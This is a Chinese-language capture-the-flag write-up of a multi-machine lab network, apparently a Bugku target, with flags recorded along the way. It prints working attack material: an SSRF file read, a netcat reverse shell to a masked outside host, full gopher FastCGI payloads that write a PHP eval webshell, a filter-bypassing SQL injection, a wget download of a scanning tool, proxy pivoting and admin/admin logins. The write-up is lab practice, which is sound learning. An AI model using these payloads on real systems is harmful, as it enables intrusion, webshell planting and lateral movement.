入口机器存在ssrf:

直接伪协议读取passwd:www-data、nginx

发送file:///etc/hosts查看内网IP:192.168.0.2
1 | 127.0.0.1 localhost |
用BP爆破内网服务:一共有4个http站点,2,10,138,250

192.168.0.10
探测到192.168.0.10有http服务,疑似被黑

继续探测目录,看是否有后面文件:

果然有后门,能够执行系统命令,看看能不能出网:
1 | POST / |
能出网,直接反弹shell,

不知道为什么这里/bin/bash和/bin/sh一直运行不成功,查看ls /usr/bin和ls /bin才知道根本没有,不过居然有nc,无语了
1 | url=http://192.168.0.10/shell%2ephp%3fcmd%3dnc%20x.x.x.x%207777%20-e%20%2Fbin%2Fsh |

居然先拿下内网主机权限?
入口机器
交了之后发现漏了第一个flag,应该是在入口机器的某个目录下,其实这里我猜到了flag在根目录下,但是我还是想拿到入口机器的权限,因为作者提示这个靶机有复杂打法。
一开始想的是文件包含getshell:/index.php?a=phpinfo();,然后post请求体里面带url=http://192.168.0.10/1.txt,1.txt里面是我写好的webshell,但是不成功,我就想包含本地文件,想到是Nginx服务器,就去包含日志吧,结果看到了fastcgi。

这里我就立马想到ssrf打fastcgi,利用gopherus生成payload
1 | python2 gopherus.py --exploit fastcgi |
生成的是一次编码:
1 | gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH129%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%81%04%00%3C%3Fphp%20system%28%27echo%20PD9waHAgZXZhbCgkX1BPU1RbcGFzc10pOz8%2B%20%7C%20base64%20-d%20%3E%20/var/www/html/404.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00 |
需要二次编码:
1 | gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2503CONTENT_LENGTH129%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2517SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2581%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1RbcGFzc10pOz8%252B%2520%257C%2520base64%2520-d%2520%253E%2520%2Fvar%2Fwww%2Fhtml%2F404.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500 |
哥斯拉连接,成功getshell:根目录下flag{a2a685686bc6f5e7a5a9920ae21a2a20}

这里后面不知道为什么哥斯拉连不上了,换蚁剑连接,然后上frp挂代理,以及fscan扫内网
192.168.0.138:80
应该是sql注入:

测试一下union、空格被拦截了,
1 | -1/**/uNion/**/select/**/1,version(),database(),4# |
结果如下:
1 | 5.7.29,bugku_sql |
居然是flag4,那flag3应该还在.10那台机器上,正好fscan扫到了这台机器也有fast-cgi,直接gopher打:
1 | url=gopher%3A%2F%2F192.168.0.10%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2503CONTENT_LENGTH129%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2517SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2581%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1RbcGFzc10pOz8%252B%2520%257C%2520base64%2520-d%2520%253E%2520%2Fvar%2Fwww%2Fhtml%2F404.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500 |
虽然之前拿到反弹shell,还是webshell方便一点,果然pass=system('ls /');下面还有一个flag3:flag{d30ecbe699986d90c1d01d645a2fb924}
192.168.0.250
在入口服务器上搭建socks5代理,这里不写了。浏览器挂上代理后访问之前没看的http服务,

居然弱口令admin/admin进了,?,然后没有进入系统,似乎是一个静态页面,可能需要注入,好像注入也不太行,但是fscan扫到了9000端口,继续打fast-cgi,又通了。拿到flag{153d90b412b8734f3217a551c1fbac9a},这是flag8,感觉跳过了什么。
flag7在web目录下:flag{9908759fd85a88990a0ef173eceb87a2}
还有最后两个flag。
最后在.10这台机器上发现了另一个网卡,10.10.0.0/24网段

传fscan上去扫描:pass=system('wget http://x.x.x.x:48888/fscan_2.1.3_linux_x64');、fscan -h 10.10.0.0/24 &
1 | -rwxr-xr-x 1 www-data www-data 10621208 May 24 09:11 fscan |
上传成功,运行结果:

只有3台机器,然后.22这台机器有http服务,重新在当前机器上搭建frp代理。
10.10.0.22
访问

前端发现<meta name="generator" content="RiteCMS 3.0"/>
查看发现有个RCE漏洞,需要登陆到admin.php,访问一下发现有管理员页面:

admin/admin弱口令登陆成功,发现有文件上传,就是搜到的那个RCE,上传webshell:

在根目录下有flag6:

在web目录有flag5:

总结
入口机器发现SSRF,探测内网 –> 发现内网192.168.0.10的黑页 –> 发现内网shell –> 通过内网shell反弹shell拿下第一台机器
尝试通过LFI对入口机器getshell –> 意外通过服务器日志发现fast-cgi –> SSRF + fast-cgi 获得入口机器权限 –> 上传fscan,frp
.250,.10机器均有fast-cgi服务,均拿下 –> .10两张网卡 –>重新上传fscan,frp –> 文件上传拿下10.10.0.22机器